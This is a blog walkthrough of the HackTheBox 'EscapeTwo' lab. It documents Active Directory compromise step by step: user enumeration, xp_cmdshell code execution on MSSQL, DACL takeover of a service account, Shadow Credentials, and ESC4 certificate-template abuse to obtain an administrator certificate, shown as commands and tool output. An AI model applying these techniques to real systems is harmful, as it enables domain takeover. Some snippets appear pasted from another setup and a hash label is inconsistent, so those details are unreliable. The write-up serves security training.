EscapeTwo — HackTheBox Walkthrough: From Initial Access to Domain Admin via AD CS Attacks

Sequel is an easy-to-medium Windows box that builds on the lessons from its predecessor, Escape. While initial access is straightforward with provided credentials, the privilege escalation path involves more advanced techniques like Shadow Credentials and AD CS exploitation. The box rewards knowledge of Kerberos, MSSQL, and certificate services, making it a solid challenge for those expanding beyond beginner-level Windows exploitation.

Lab gave us creds to enumerate machine:
rose / KxEPkKe6R8su

Firstly nmap scan for ports:

nmap -Pn -p- -sC -v -oN initial 10.10.11.51 --open

sudo nano /etc/hosts

Add domain to our dns

nxc smb 10.10.11.51 -u rose -p KxEPkKe6R8su --shares

In Linux, nxc refers to NetExec, a versatile network service exploitation tool. Simply put, it’s a command-line utility designed to help security professionals and ethical hackers assess the security of computer networks, especially those running Windows operating systems.

nxc smb 10.10.11.51 -u rose -p KxEPkKe6R8su --users

smbclient  \\\\10.10.11.51\\'Accounting Department' -U rose

There is 2 files in this directory.
Lets download and look inside of them.

But cant access with libreoffice file was corrupted. Then get strings of this file and see what we can do with it.

There is some file names showing up. Can be unzip to look inside.

Some accounts to enum.

Users file to enum with kerbrute

./kerbrute userenum --dc 10.10.11.51 -d sequel.htb ~/Desktop/users

Kerbrute helps identify valid usernames and can attempt to guess passwords for those users by leveraging how the Kerberos protocol responds to authentication requests, particularly during the pre-authentication phase.

With nxc lets test all protocols with our lists:

We found MSSQL password.

We can get reverse shell from MSSQL with Exec command.

kali@kali:~$ impacket-mssqlclient Administrator:Lab123@192.168.50.18 -windows-auth
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
...
SQL> EXECUTE sp_configure 'show advanced options', 1;
[*] INFO(SQL01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> RECONFIGURE;
SQL> EXECUTE sp_configure 'xp_cmdshell', 1;
[*] INFO(SQL01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> RECONFIGURE;

Depending on the underlying database system we are targeting, we need to adapt our strategy to obtain code execution.

In Microsoft SQL Server, the xp_cmdshell function takes a string and passes it to a command shell for execution. The function returns any output as rows of text. The function is disabled by default and, once enabled, it must be called with the EXECUTE keyword instead of SELECT.

After logging in from our Kali VM to the MSSQL instance, we can enable show advanced options by setting its value to 1, then applying the changes to the running configuration via the RECONFIGURE statement. Next, we’ll enable xp_cmdshell and apply the configuration again using RECONFIGURE.

Get Natig Mammadli’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

With this feature enabled, we can execute any Windows shell command through the EXECUTE statement followed by the feature name.

We got reverse shell :)

In “C:\SQL2019\ExpressAdv_ENU” there is sql-Configuration.INI file and password can be enumed.

nxc smb 10.10.11.51 -u ~/Desktop/users -p ~/Desktop/passw

With evil-winrm we can connect to winrm protocol and got first flag.

Privilige Escalation

With BloodHound we can see our owned Ryan user has “WriteOwner” over CA_SVC. (Certificate Authority service)

With Impacket-owneredit we can get owenership to ryan user.

impacket-owneredit -action write -new-owner 'ryan' -target 'ca_svc' 'sequel.htb'/'ryan':'WqSZAF6CysDQbGb3'

impacket-dacledit -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc' sequel.htb/ryan:WqSZAF6CysDQbGb3

And with pywhisker tool we can Create certificates.

GitHub - ShutdownRepo/pywhisker: Python version of the C# tool for "Shadow Credentials" attacks

python3 pywhisker.py -d sequel.htb -u ryan -p WqSZAF6CysDQbGb3--target "CA_SVC" --action "add" --filename CACert --export PEM

Getting the Certificate

GitHub - dirkjanm/PKINITtools: Tools for Kerberos PKINIT and relaying to AD CS

python3 gettgtpkinit.py -cert-pem CACert_cert.pem -key-pem CACert_priv.pem sequel.htb/ca_svc ca_svc.ccache

export KRB5CCNAME=ca_svc.ccache

python3 gettgtpkinit.py -cert-pem CACert_cert.pem -key-pem CACert_priv.pem sequel.htb/ca_svc ca_svc.ccache

Got NT hash: daa4aad3d40df3226dc3067087ec52b5eb915388d0c1a611fa52bfff0553f7d1

Lets verify with netexec tool.

nxc smb 10.10.11.51 -u ~/Desktop/users -H ~/Desktop/hashes

Certipy v4.8.2, created by Oliver Lyak, is a tool designed to analyze and test the security of Active Directory Certificate Services (AD CS). AD CS is a Windows Server feature that manages digital certificates used for things like authentication and encryption in enterprise environments.

certipy-ad find -vulnerable -u ca_svc@sequel.htb -hashes <hash> -dc-ip 10.10.11.51

ESC4 is relates to vulnerable access control on certificate templates. In this context, “dangerous permissions” typically means that a user or group has excessive rights — such as WriteOwner, WriteDacl, or WriteProperty — on a certificate template. These permissions allow the holder to modify the template’s properties, which can be exploited to escalate privileges within the domain.

┌──(cryptoenv)─(root㉿kali)-[~/Desktop/PKINITtools]
└─# certipy-ad template -username 'ca_svc@sequel.htb' -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -template DunderMifflinAuthentication -save-old
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Saved old configuration for 'DunderMifflinAuthentication' to 'DunderMifflinAuthentication.json'
[*] Updating certificate template 'DunderMifflinAuthentication'
[*] Successfully updated 'DunderMifflinAuthentication'

┌──(cryptoenv)─(root㉿kali)-[~/Desktop/PKINITtools]
└─# certipy-ad req -username 'ca_svc@sequel.htb' -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -ca sequel-DC01-CA -target DC01.sequel.htb -template DunderMifflinAuthentication -upn administrator@sequel.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 11
[*] Got certificate with UPN 'administrator@sequel.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

┌──(cryptoenv)─(root㉿kali)-[~/Desktop/PKINITtools]
└─# certipy-ad auth -pfx administrator.pfx -domain sequel.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': censored:censored

Goot Root :)))